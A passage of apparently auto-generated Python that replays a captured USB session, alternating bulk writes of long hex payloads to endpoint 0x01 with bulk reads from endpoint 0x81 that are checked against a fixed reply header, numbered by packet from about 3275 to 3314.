b\"\\xA5\\x00\\x29\\x3D\\x01\\xA6\\x6B\\x66\\x69\\x63\\x82\\xAE\\xCC\\x59\\x5C\\x64\"\n b\"\\x96\\xCF\\x1B\\x8D\\xEA\\xBE\\xED\\xB3\\x27\\xF1\\x7C\\xEB\\xBB\\xE2\\x0D\\x53\"\n b\"\\x97\\xE8\\x34\\x84\\xD0\\x9A\\x4C\\x78\\x5B\\xA4\\x6D\\xC4\\xB5\\x2E\\xEF\\x32\"\n b\"\\x3A\\x47\\x5A\\xF2\\xD4\\x6B\\x2B\\xBE\\x10\\xD8\\x33\\x83\\x44\\xCC\\xBB\\x22\"\n b\"\\xAE\\xBF\\xEB\\x16\\x9F\\x15\\x12\\x65\\xB1\\xE8\\xEB\\x4F\\x8B\\xFF\\x64\\x70\"\n b\"\\x9B\\xB0\\x93\\x5F\\x94\\x0D\\x88\\x87\\x22\\xDE\\xE6\\x78\\x6B\\x97\\x62\\x6F\"\n b\"\\xE4\\x96\\x58\\x28\\x42\\x96\\xCE\\xF5\\xBA\\x72\\x3A\\xC8\\x65\\xD8\\xFF\\x1C\"\n b\"\\x6C\\x60\\xE6\\x41\\x36\\xB3\\x70\\xEE\\x73\\x4E\\xCB\\x3D\\x60\\xD9\\xDF\\x87\"\n b\"\\x6A\\xE5\\x89\\xD9\\xD2\\x85\\xBC\\xFA\\x4B\\xCF\\x7C\\x14\")\n # Generated from packet 3275/3276\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3275/3276\")\n # Generated from packet 3277/3278\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x68\\x9F\\x3D\\x8B\\xB2\\x02\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0C\\xDA\\xFB\\xD6\\x4F\\xAF\\x92\\x7F\"\n b\"\\x0B\\x43\\x74\\x87\\x66\\xC4\\xD5\\x12\\x73\\x3D\\xEA\\xF3\\xAA\\x0D\\x1B\\x9D\"\n b\"\\x04\\x8B\\x4C\\x68\\x50\\x30\\x44\\x8A\\x07\\xAE\\xDD\\x45\\xB8\\x6F\\x34\\x57\"\n b\"\\x2C\\xE8\\x38\\x8B\\xE4\\xBF\\x15\\xBD\\xDE\\x5C\\x92\\xEE\\x58\\x82\\x27\\xB6\"\n b\"\\x51\\xD3\\x41\\xA0\\x48\\xAD\\xE6\\x29\\x6B\\x09\\x40\\x6B\\x30\\x61\\x85\\x82\"\n b\"\\xF8\\xC4\\xBF\\x5C\\x32\\x9E\\x29\\x1B\\xDB\\xE2\\x58\\xED\\xE5\\x2F\\x17\\x7C\"\n b\"\\xBD\\xB3\\x04\\x0D\\x05\\x9F\\x0E\\x34\\xD2\\xD8\\x7C\\x4C\\x2E\\x53\\x42\\x6D\"\n b\"\\x92\\xBD\\xC8\\xEF\\x64\\x32\\xA1\\x5A\\xA4\\xDC\\x8D\\x2B\\xE8\\x18\\x3E\\x33\"\n b\"\\xD5\\x4C\\x2A\\xBB\\x74\\xA6\\x59\\xEB\\x40\\x97\\xF3\\x12\\x33\\xB9\\x0E\\xEB\"\n b\"\\x19\\x83\\x19\\x64\\x26\\x93\\x56\\x93\\x09\\x9C\\xEB\\x88\\xD1\\x2A\\x38\\xE6\"\n b\"\\x2E\\x63\\x71\\x62\\x39\\xEC\\x70\\x58\\x7E\\x4A\\x70\\xCE\\xA3\\xB2\\x94\\x3A\"\n b\"\\x9E\\x6D\\x3E\\xFF\\x4A\\x64\\x86\\xE6\\x17\\x3E\\x55\\x70\\xB8\\x7B\\xA8\\xCB\"\n b\"\\x6B\\x68\\x3F\\xDF\\xD1\\x62\\x03\\x89\\x8F\\xDA\\x63\\xBC\\xAC\\x43\\x29\\x7C\"\n b\"\\x42\\xD9\\xAD\\xB0\\x2F\\xCC\\x3A\\x9C\\xD9\\xE4\\x13\\xB4\\x2B\\xC7\\x3B\\x1E\"\n b\"\\xDA\\x32\\x61\\xB9\\x09\\x20\\xA8\\xB7\\x07\\x1C\\xA6\\xFD\\xFA\\xF7\\xA7\\xBE\"\n b\"\\xED\\xEF\\x25\\xCC\\x63\\x5E\\xA0\\x64\\xFE\\xFA\\x17\\xAF\\xF5\\xF4\\x83\\xA1\"\n b\"\\x5F\\xA0\\x6D\\x5E\\x05\\xE8\\xE0\\x03\\xCB\\xEA\\xDB\\x7C\")\n # Generated from packet 3279/3280\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3279/3280\")\n # Generated from packet 3281/3282\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA6\\xCF\\x33\\x9F\\x0D\\x1F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4F\\x8A\\x2D\\xDC\\x66\\xB5\\x19\\x98\"\n b\"\\xC3\\xDD\\xAA\\xA5\\x9E\\x1C\\x19\\x87\\xB5\\x57\\x74\\xF3\\x9A\\xDF\\x68\\x2A\"\n b\"\\x5D\\x8E\\x4F\\x7D\\x13\\xF3\\xFD\\xFE\\x43\\x0F\\xA9\\xAD\\x42\\xC4\\x27\\x82\"\n b\"\\x89\\xAC\\xEC\\xE5\\xA5\\x94\\xEF\\x0B\\x7F\\x6B\\xB0\\x62\\x3F\\x77\\xB0\\x30\"\n b\"\\x2A\\x19\\x6F\\x8D\\xD6\\xBF\\xDF\\x0E\\x70\\xAA\\xDF\\xC2\\x44\\x5D\\xD3\\x90\"\n b\"\\xD9\\x66\\xB8\\x46\\xF9\\xDE\\x18\\x61\\x87\\xE5\\x4A\\x15\\x6F\\xFF\\x3F\\x77\"\n b\"\\xF0\\xF7\\xF6\\x49\\xFF\\xD8\\xE6\\x69\\xF7\\x32\\x3D\\xA3\\x23\\x16\\x76\\x7A\"\n b\"\\x38\\xD7\\xA7\\xC8\\xD5\\xBD\\x0D\\xD6\\x75\\x77\\x1F\\x02\\xD9\\x60\\xC3\\xEF\"\n b\"\\xAC\\x20\\x97\\xCA\\x56\\x32\\xC6\\x55\\x73\\x46\\x77\\x3E\\xD7\\xCD\\xAE\\x60\"\n b\"\\xFB\\xB5\\x9B\\xD7\\xB8\\x0C\\x92\\x7F\\xFC\\xE0\\x74\\x87\\x91\\x67\\xD5\\x12\"\n b\"\\x84\\x9E\\xEA\\xF3\\x5D\\xAE\\x1B\\x9D\\xF3\\x28\\x4C\\x68\\xA7\\x93\\x44\\x8A\"\n b\"\\xF0\\x0D\\xDD\\x45\\x4F\\xCC\\x34\\x57\\xDB\\x4B\\x38\\x8B\\x13\\x1C\\x15\\xBD\"\n b\"\\x29\\xFF\\x92\\xEE\\xAF\\x21\\x27\\xB6\\xA6\\x70\\x41\\xA0\\xBF\\x0E\\xE6\\x29\"\n b\"\\x9C\\xAA\\x40\\x6B\\xC7\\xC2\\x85\\x82\\x0F\\x67\\xBF\\x5C\\xC5\\x3D\\x29\\x1B\"\n b\"\\x2C\\x41\\x58\\xED\\x12\\x8C\\x17\\x7C\\x4A\\x10\\x04\\x0D\\xF2\\x3C\\x0E\\x34\"\n b\"\\x25\\x7B\\x7C\\x4C\\xD9\\xF0\\x42\\x6D\\x65\\x1E\\xC8\\xEF\\x93\\x91\\xA1\\x5A\"\n b\"\\x53\\x7F\\x8D\\x2B\\x1F\\xBB\\x3E\\x33\\x22\\xEF\\x2A\\xBB\")\n # Generated from packet 3283/3284\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3283/3284\")\n # Generated from packet 3285/3286\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBC\\xFB\\x6A\\x53\\x2B\\x32\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xED\\xFB\\x02\\x9F\\xF1\\xF6\\x30\\x8B\"\n b\"\\x9F\\x29\\x8D\\x77\\x39\\x99\\x0E\\xD1\\x2C\\x99\\xC2\\xE5\\xDB\\x95\\x90\\x78\"\n b\"\\xE0\\xFE\\x46\\x58\\x58\\x5E\\x61\\x26\\x63\\x0C\\x15\\xCE\\x79\\x79\\x77\\x51\"\n b\"\\x71\\xB0\\x49\\x5E\\x5E\\xA0\\x69\\x56\\xB4\\x7B\\xA3\\x82\\x90\\x30\\x7A\\x99\"\n b\"\\x51\\xE1\\xC8\\x74\\x3B\\x4B\\xD6\\xD4\\xF1\\x59\\x02\\x78\\xE6\\x85\\xEF\\x0D\"\n b\"\\xA6\\xD1\\xCA\\xF7\\xB4\\x80\\x55\\xD2\\xC0\\x31\\x3E\\x76\\x4B\\xE8\\x60\\x5A\"\n b\"\\x33\\xDD\\xD7\\x19\\x8A\\xD4\\x7F\\x5D\\x66\\x32\\x87\\x30\\xE1\\x93\\x12\\x25\"\n b\"\\x18\\xAC\\xF3\\xFC\\x28\\x5D\\x9D\\x52\\xAE\\x0A\\x68\\x06\\x15\\x02\\x8A\\x51\"\n b\"\\x8B\\x9B\\x45\\xEE\\x4A\\x72\\x57\\x7A\\xCD\\x7E\\x8B\\xB2\\x9A\\x53\\xBD\\x88\"\n b\"\\x79\\xD4\\xEE\\x0E\\xA7\\x61\\xB6\\x07\\xF6\\x07\\xA0\\x1E\\x88\\xA0\\x29\\x3D\"\n b\"\\x2C\\x06\\x6B\\x66\\x44\\xC3\\x82\\xAE\\xE1\\xF9\\x5C\\x64\\xBB\\x6F\\x1B\\x8D\"\n b\"\\xC7\\x1E\\xED\\xB3\\x0A\\x51\\x7C\\xEB\\x96\\x42\\x0D\\x53\\xBA\\x48\\x34\\x84\"\n b\"\\xFD\\x3A\\x4C\\x78\\x76\\x04\\x6D\\xC4\\x98\\x8E\\xEF\\x32\\x17\\xE7\\x5A\\xF2\"\n b\"\\xF9\\xCB\\x2B\\xBE\\x3D\\x78\\x33\\x83\\x69\\x6C\\xBB\\x22\\x83\\x1F\\xEB\\x16\"\n b\"\\xB2\\xB5\\x12\\x65\\x9C\\x48\\xEB\\x4F\\xA6\\x5F\\x64\\x70\\xB6\\x10\\x93\\x5F\"\n b\"\\xB9\\xAD\\x88\\x87\\x0F\\x7E\\xE6\\x78\\x46\\x37\\x62\\x6F\\xC9\\x36\\x58\\x28\"\n b\"\\x6F\\x36\\xCE\\xF5\\x97\\xD2\\x3A\\xC8\\x48\\x78\\xFF\\x1C\")\n # Generated from packet 3287/3288\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3287/3288\")\n # Generated from packet 3289/3290\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x72\\xAB\\x64\\x47\\xB6\\x53\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x85\\x7D\\x42\\xD2\\x8E\\x75\\x25\"\n b\"\\xCD\\xB3\\x22\\x48\\xF1\\x0A\\x8B\\xD8\\x47\\xB5\\xD2\\x83\\x5D\\xB5\\x7B\\xFF\"\n b\"\\x7F\\xB4\\x3D\\xEE\\xBE\\x47\\x86\\x87\\xEF\\x1F\\xFF\\xEE\\x53\\x27\\xDD\\xC7\"\n b\"\\x80\\x73\\x98\\x62\\xE8\\xC0\\xA5\\x3F\\x29\\x73\\x87\\x14\\x62\\x1E\\xF3\\x3B\"\n b\"\\xEA\\x02\\x2A\\xFC\\xBB\\x25\\x7D\\xB2\\xC6\\x97\\xFE\\xE2\\x3A\\xC3\\xAD\\xE3\"\n b\"\\xF1\\x4D\\x82\\x28\\x99\\x86\\xE5\\x04\\xA1\\x85\\x0B\\xDE\\x5E\\xDA\\x62\\x9E\"\n b\"\\x42\\xDA\\x30\\x8B\\x2C\\x05\\x8D\\x77\\x8A\\xB5\\x0E\\xD1\\x9F\\xB5\\xC2\\xE5\"\n b\"\\x68\\xB9\\x90\\x78\\x53\\xD2\\x46\\x58\\xEB\\x72\\x61\\x26\\xD0\\x20\\x15\\xCE\"\n b\"\\xCA\\x55\\x77\\x51\\xC2\\x9C\\x49\\x5E\\xED\\x8C\\x69\\x56\\x07\\x57\\xA3\\x82\"\n b\"\\x23\\x1C\\x7A\\x99\\xE2\\xCD\\xC8\\x74\\x88\\x67\\xD6\\xD4\\x42\\x75\\x02\\x78\"\n b\"\\x55\\xA9\\xEF\\x0D\\x15\\xFD\\xCA\\xF7\\x07\\xAC\\x55\\xD2\\x73\\x1D\\x3E\\x76\"\n b\"\\xF8\\xC4\\x60\\x5A\\x80\\xF1\\xD7\\x19\\x39\\xF8\\x7F\\x5D\\xD5\\x1E\\x87\\x30\"\n b\"\\x52\\xBF\\x12\\x25\\xAB\\x80\\xF3\\xFC\\x9B\\x71\\x9D\\x52\\x1D\\x26\\x68\\x06\"\n b\"\\xA6\\x2E\\x8A\\x51\\x38\\xB7\\x45\\xEE\\xF9\\x5E\\x57\\x7A\\x7E\\x52\\x8B\\xB2\"\n b\"\\x29\\x7F\\xBD\\x88\\xCA\\xF8\\xEE\\x0E\\x14\\x4D\\xB6\\x07\\x45\\x2B\\xA0\\x1E\"\n b\"\\x3B\\x8C\\x29\\x3D\\x9F\\x2A\\x6B\\x66\\xF7\\xEF\\x82\\xAE\\x52\\xD5\\x5C\\x64\"\n b\"\\x08\\x43\\x1B\\x8D\\x74\\x32\\xED\\xB3\\xB9\\x7D\\x7C\\xEB\")\n # Generated from packet 3291/3292\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3291/3292\")\n # Generated from packet 3293/3294\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x20\\x5A\\x76\\x7B\\x14\\x64\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDA\\xFC\\x78\\x60\\xA4\\x8A\\x4A\\x15\"\n b\"\\x4C\\x90\\x3F\\x77\\xD3\\x98\\xF6\\x49\\xDC\\xB7\\xE6\\x69\\xD4\\x5D\\x3D\\xA3\"\n b\"\\x00\\x79\\x76\\x7A\\x1B\\xB8\\xA7\\xC8\\xF6\\xD2\\x0D\\xD6\\x56\\x18\\x1F\\x02\"\n b\"\\xFA\\x0F\\xC3\\xEF\\x8F\\x4F\\x97\\xCA\\x75\\x5D\\xC6\\x55\\x50\\x29\\x77\\x3E\"\n b\"\\xF4\\xA2\\xAE\\x60\\xD8\\xDA\\x9B\\xD7\\x9B\\x63\\x92\\x7F\\xDF\\x8F\\x74\\x87\"\n b\"\\xB2\\x08\\xD5\\x12\\xA7\\xF1\\xEA\\xF3\\x7E\\xC1\\x1B\\x9D\\xD0\\x47\\x4C\\x68\"\n b\"\\x84\\xFC\\x44\\x8A\\xD3\\x62\\xDD\\x45\\x6C\\xA3\\x34\\x57\\xF8\\x24\\x38\\x8B\"\n b\"\\x30\\x73\\x15\\xBD\\x0A\\x90\\x92\\xEE\\x8C\\x4E\\x27\\xB6\\x85\\x1F\\x41\\xA0\"\n b\"\\x9C\\x61\\xE6\\x29\\xBF\\xC5\\x40\\x6B\\xE4\\xAD\\x85\\x82\\x2C\\x08\\xBF\\x5C\"\n b\"\\xE6\\x52\\x29\\x1B\\x0F\\x2E\\x58\\xED\\x31\\xE3\\x17\\x7C\\x69\\x7F\\x04\\x0D\"\n b\"\\xD1\\x53\\x0E\\x34\\x06\\x14\\x7C\\x4C\\xFA\\x9F\\x42\\x6D\\x46\\x71\\xC8\\xEF\"\n b\"\\xB0\\xFE\\xA1\\x5A\\x70\\x10\\x8D\\x2B\\x3C\\xD4\\x3E\\x33\\x01\\x80\\x2A\\xBB\"\n b\"\\xA0\\x6A\\x59\\xEB\\x94\\x5B\\xF3\\x12\\xE7\\x75\\x0E\\xEB\\xCD\\x4F\\x19\\x64\"\n b\"\\xF2\\x5F\\x56\\x93\\xDD\\x50\\xEB\\x88\\x05\\xE6\\x38\\xE6\\xFA\\xAF\\x71\\x62\"\n b\"\\xED\\x20\\x70\\x58\\xAA\\x86\\x70\\xCE\\x77\\x7E\\x94\\x3A\\x4A\\xA1\\x3E\\xFF\"\n b\"\\x9E\\xA8\\x86\\xE6\\xC3\\xF2\\x55\\x70\\x6C\\xB7\\xA8\\xCB\\xBF\\xA4\\x3F\\xDF\"\n b\"\\x05\\xAE\\x03\\x89\\x5B\\x16\\x63\\xBC\\x78\\x8F\\x29\\x7C\")\n # Generated from packet 3295/3296\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3295/3296\")\n # Generated from packet 3297/3298\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEE\\x0A\\x78\\x6F\\xEC\\x02\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDC\\x8D\\x7E\\xEC\\x7B\\x69\\x3D\\x49\"\n b\"\\xDD\\x2B\\x66\\x21\\x18\\xC2\\xAE\\x84\\x22\\x1C\\x64\\xDE\\xB4\\x5B\\x8D\\xA2\"\n b\"\\xC5\\xAD\\xB3\\x6F\\x8A\\x3C\\xEB\\xF3\\x99\\x4D\\x53\\xDF\\x93\\x74\\x84\\x98\"\n b\"\\xE1\\x0C\\x78\\x13\\xDF\\x2D\\xC4\\xFD\\x55\\xAF\\x32\\x72\\x3C\\x1A\\xF2\\x9C\"\n b\"\\x10\\x6B\\xBE\\x58\\xA3\\x73\\x83\\x0C\\xB7\\xFB\\x22\\xE6\\xC4\\xAB\\x16\\xD7\"\n b\"\\x6E\\x52\\x65\\xF9\\x93\\xAB\\x4F\\xC3\\x84\\x24\\x70\\xD3\\xCB\\xD3\\x5F\\xDC\"\n b\"\\x76\\xC8\\x87\\x6A\\xA5\\xA6\\x78\\x23\\xEC\\x22\\x6F\\xAC\\xED\\x18\\x28\\x0A\"\n b\"\\xED\\x8E\\xF5\\xF2\\x09\\x7A\\xC8\\x2D\\xA3\\xBF\\x1C\\x24\\x1B\\xA6\\x41\\x7E\"\n b\"\\xC8\\x30\\xEE\\x3B\\x35\\x8B\\x3D\\x28\\xA2\\x9F\\x87\\x22\\x9E\\xC9\\xD9\\x9A\"\n b\"\\xFE\\xFC\\xFA\\x03\\xB4\\x3C\\x14\\x99\\x30\\xF0\\x79\\x8C\\xA7\\xDC\\x8F\\xA4\"\n b\"\\x8E\\xF4\\x7D\\x87\\xA6\\x5E\\x8C\\x72\\xFC\\xF9\\x5F\\x60\\x35\\xF7\\x51\\x5C\"\n b\"\\x3B\\xBD\\xAC\\xB7\\x3A\\xFE\\xBB\\xAF\\xB8\\x8C\\x35\\x1E\\x3D\\x24\\xA8\\xBA\"\n b\"\\x8A\\xEF\\xA3\\xB4\\x1E\\xE1\\x09\\xE0\\xF0\\x1E\\x53\\xA8\\x7D\\x43\\x9D\\xAA\"\n b\"\\x46\\x3C\\xEB\\xC5\\x2E\\x55\\x12\\xDE\\xD7\\x12\\x04\\xF1\\x4C\\x96\\x33\\x93\"\n b\"\\x07\\x23\\x5A\\x8F\\xC0\\xA2\\x5D\\xFA\\x9C\\xE3\\x08\\xE3\\x0E\\xD3\\xF4\\x88\"\n b\"\\xF1\\xCA\\x41\\x6A\\x45\\x9B\\x12\\x3E\\x37\\x27\\xA2\\x49\\x90\\x93\\xFD\\x4A\"\n b\"\\x02\\x5A\\x02\\x8D\\x91\\x95\\x1C\\x4F\\x5C\\x48\\x4A\\x43\")\n # Generated from packet 3299/3300\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3299/3300\")\n # Generated from packet 3301/3302\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x84\\xB8\\x53\\x03\\xBB\\x69\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x99\\xC8\\x4D\\x87\\xF0\\x14\\x75\\xFF\"\n b\"\\x99\\xA8\\x4D\\xDD\\xB0\\x7B\\x19\\x98\\x15\\x13\\xAA\\xA5\\x48\\xD2\\x19\\x87\"\n b\"\\x63\\x99\\x74\\xF3\\x4C\\x11\\x68\\x2A\\x8B\\x40\\x4F\\x7D\\xC5\\x3D\\xFD\\xFE\"\n b\"\\x95\\xC1\\xA9\\xAD\\x94\\x0A\\x27\\x82\\x5F\\x62\\xEC\\xE5\\x73\\x5A\\xEF\\x0B\"\n b\"\\xA9\\xA5\\xB0\\x62\\xE9\\xB9\\xB0\\x30\\xFC\\xD7\\x6F\\x8D\\x00\\x71\\xDF\\x0E\"\n b\"\\xA6\\x64\\xDF\\xC2\\x92\\x93\\xD3\\x90\\x0F\\xA8\\xB8\\x46\\x2F\\x10\\x18\\x61\"\n b\"\\x51\\x2B\\x4A\\x15\\xB9\\x31\\x3F\\x77\\x26\\x39\\xF6\\x49\\x29\\x16\\xE6\\x69\"\n b\"\\x21\\xFC\\x3D\\xA3\\xF5\\xD8\\x76\\x7A\\xEE\\x19\\xA7\\xC8\\x03\\x73\\x0D\\xD6\"\n b\"\\xA3\\xB9\\x1F\\x02\\x0F\\xAE\\xC3\\xEF\\x7A\\xEE\\x97\\xCA\\x80\\xFC\\xC6\\x55\"\n b\"\\xA5\\x88\\x77\\x3E\\x01\\x03\\xAE\\x60\\x2D\\x7B\\x9B\\xD7\\x6E\\xC2\\x92\\x7F\"\n b\"\\x2A\\x2E\\x74\\x87\\x47\\xA9\\xD5\\x12\\x52\\x50\\xEA\\xF3\\x8B\\x60\\x1B\\x9D\"\n b\"\\x25\\xE6\\x4C\\x68\\x71\\x5D\\x44\\x8A\\x26\\xC3\\xDD\\x45\\x99\\x02\\x34\\x57\"\n b\"\\x0D\\x85\\x38\\x8B\\xC5\\xD2\\x15\\xBD\\xFF\\x31\\x92\\xEE\\x79\\xEF\\x27\\xB6\"\n b\"\\x70\\xBE\\x41\\xA0\\x69\\xC0\\xE6\\x29\\x4A\\x64\\x40\\x6B\\x11\\x0C\\x85\\x82\"\n b\"\\xD9\\xA9\\xBF\\x5C\\x13\\xF3\\x29\\x1B\\xFA\\x8F\\x58\\xED\\xC4\\x42\\x17\\x7C\"\n b\"\\x9C\\xDE\\x04\\x0D\\x24\\xF2\\x0E\\x34\\xF3\\xB5\\x7C\\x4C\\x0F\\x3E\\x42\\x6D\"\n b\"\\xB3\\xD0\\xC8\\xEF\\x45\\x5F\\xA1\\x5A\\x85\\xB1\\x8D\\x2B\")\n # Generated from packet 3303/3304\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3303/3304\")\n # Generated from packet 3305/3306\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4A\\xE8\\x5D\\x17\\xB8\\x11\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5A\\x94\\xFD\\x53\\xDC\\x6E\\x68\\x06\"\n b\"\\x67\\x66\\x8A\\x51\\xF9\\xFF\\x45\\xEE\\x38\\x16\\x57\\x7A\\xBF\\x1A\\x8B\\xB2\"\n b\"\\xE8\\x37\\xBD\\x88\\x0B\\xB0\\xEE\\x0E\\xD5\\x05\\xB6\\x07\\x84\\x63\\xA0\\x1E\"\n b\"\\xFA\\xC4\\x29\\x3D\\x5E\\x62\\x6B\\x66\\x36\\xA7\\x82\\xAE\\x93\\x9D\\x5C\\x64\"\n b\"\\xC9\\x0B\\x1B\\x8D\\xB5\\x7A\\xED\\xB3\\x78\\x35\\x7C\\xEB\\xE4\\x26\\x0D\\x53\"\n b\"\\xC8\\x2C\\x34\\x84\\x8F\\x5E\\x4C\\x78\\x04\\x60\\x6D\\xC4\\xEA\\xEA\\xEF\\x32\"\n b\"\\x65\\x83\\x5A\\xF2\\x8B\\xAF\\x2B\\xBE\\x4F\\x1C\\x33\\x83\\x1B\\x08\\xBB\\x22\"\n b\"\\xF1\\x7B\\xEB\\x16\\xC0\\xD1\\x12\\x65\\xEE\\x2C\\xEB\\x4F\\xD4\\x3B\\x64\\x70\"\n b\"\\xC4\\x74\\x93\\x5F\\xCB\\xC9\\x88\\x87\\x7D\\x1A\\xE6\\x78\\x34\\x53\\x62\\x6F\"\n b\"\\xBB\\x52\\x58\\x28\\x1D\\x52\\xCE\\xF5\\xE5\\xB6\\x3A\\xC8\\x3A\\x1C\\xFF\\x1C\"\n b\"\\x33\\xA4\\xE6\\x41\\x69\\x77\\x70\\xEE\\x2C\\x8A\\xCB\\x3D\\x3F\\x1D\\xDF\\x87\"\n b\"\\x35\\x21\\x89\\xD9\\x8D\\x41\\xBC\\xFA\\x14\\x0B\\x7C\\x14\\x8E\\x8F\\xB0\\x79\"\n b\"\\x9B\\x18\\x9C\\x8F\\xB3\\x31\\xB4\\x7D\\x90\\x19\\x1E\\x8C\\x65\\x43\\xB9\\x5F\"\n b\"\\x77\\x8A\\xB7\\x51\\x4B\\x84\\xFD\\xAC\\xA0\\x85\\xBE\\xBB\\xB8\\x07\\xCC\\x35\"\n b\"\\x09\\x82\\x64\\xA8\\xAD\\x35\\xAF\\xA3\\xA3\\xA1\\xA1\\x09\\xF7\\x4F\\x5E\\x53\"\n b\"\\xBF\\xC2\\x03\\x9D\\xBD\\xF9\\x7C\\xEB\\xD2\\x91\\x15\\x12\\xC9\\x68\\x52\\x04\"\n b\"\\xE6\\xF3\\xD6\\x33\\x84\\xB8\\x63\\x5A\\x98\\x7F\\xE2\\x5D\")\n # Generated from packet 3307/3308\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3307/3308\")\n # Generated from packet 3309/3310\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x18\\x19\\x4F\\x2B\\x2F\\x51\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2B\\xFB\\x5F\\x76\\xB4\\x3E\\xF6\\x49\"\n b\"\\xBB\\x11\\xE6\\x69\\xB3\\xFB\\x3D\\xA3\\x67\\xDF\\x76\\x7A\\x7C\\x1E\\xA7\\xC8\"\n b\"\\x91\\x74\\x0D\\xD6\\x31\\xBE\\x1F\\x02\\x9D\\xA9\\xC3\\xEF\\xE8\\xE9\\x97\\xCA\"\n b\"\\x12\\xFB\\xC6\\x55\\x37\\x8F\\x77\\x3E\\x93\\x04\\xAE\\x60\\xBF\\x7C\\x9B\\xD7\"\n b\"\\xFC\\xC5\\x92\\x7F\\xB8\\x29\\x74\\x87\\xD5\\xAE\\xD5\\x12\\xC0\\x57\\xEA\\xF3\"\n b\"\\x19\\x67\\x1B\\x9D\\xB7\\xE1\\x4C\\x68\\xE3\\x5A\\x44\\x8A\\xB4\\xC4\\xDD\\x45\"\n b\"\\x0B\\x05\\x34\\x57\\x9F\\x82\\x38\\x8B\\x57\\xD5\\x15\\xBD\\x6D\\x36\\x92\\xEE\"\n b\"\\xEB\\xE8\\x27\\xB6\\xE2\\xB9\\x41\\xA0\\xFB\\xC7\\xE6\\x29\\xD8\\x63\\x40\\x6B\"\n b\"\\x83\\x0B\\x85\\x82\\x4B\\xAE\\xBF\\x5C\\x81\\xF4\\x29\\x1B\\x68\\x88\\x58\\xED\"\n b\"\\x56\\x45\\x17\\x7C\\x0E\\xD9\\x04\\x0D\\xB6\\xF5\\x0E\\x34\\x61\\xB2\\x7C\\x4C\"\n b\"\\x9D\\x39\\x42\\x6D\\x21\\xD7\\xC8\\xEF\\xD7\\x58\\xA1\\x5A\\x17\\xB6\\x8D\\x2B\"\n b\"\\x5B\\x72\\x3E\\x33\\x66\\x26\\x2A\\xBB\\xC7\\xCC\\x59\\xEB\\xF3\\xFD\\xF3\\x12\"\n b\"\\x80\\xD3\\x0E\\xEB\\xAA\\xE9\\x19\\x64\\x95\\xF9\\x56\\x93\\xBA\\xF6\\xEB\\x88\"\n b\"\\x62\\x40\\x38\\xE6\\x9D\\x09\\x71\\x62\\x8A\\x86\\x70\\x58\\xCD\\x20\\x70\\xCE\"\n b\"\\x10\\xD8\\x94\\x3A\\x2D\\x07\\x3E\\xFF\\xF9\\x0E\\x86\\xE6\\xA4\\x54\\x55\\x70\"\n b\"\\x0B\\x11\\xA8\\xCB\\xD8\\x02\\x3F\\xDF\\x62\\x08\\x03\\x89\\x3C\\xB0\\x63\\xBC\"\n b\"\\x1F\\x29\\x29\\x7C\\xF1\\xB3\\xAD\\xB0\\x9C\\xA6\\x3A\\x9C\")\n # Generated from packet 3311/3312\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3311/3312\")\n # Generated from packet 3313/3314\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD6\\x49\\x41\\x3F\\x73\\x46\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x81\\xB7\\x1F\\x5C\\x6D\\xBC\\x87\\x30\"\n b\"\\xEA\\x1D\\x12\\x25\\x13\\x22\\xF3\\xFC\\x23\\xD3\\x9D\\x52\\xA5\\x84\\x68\\x06\"\n 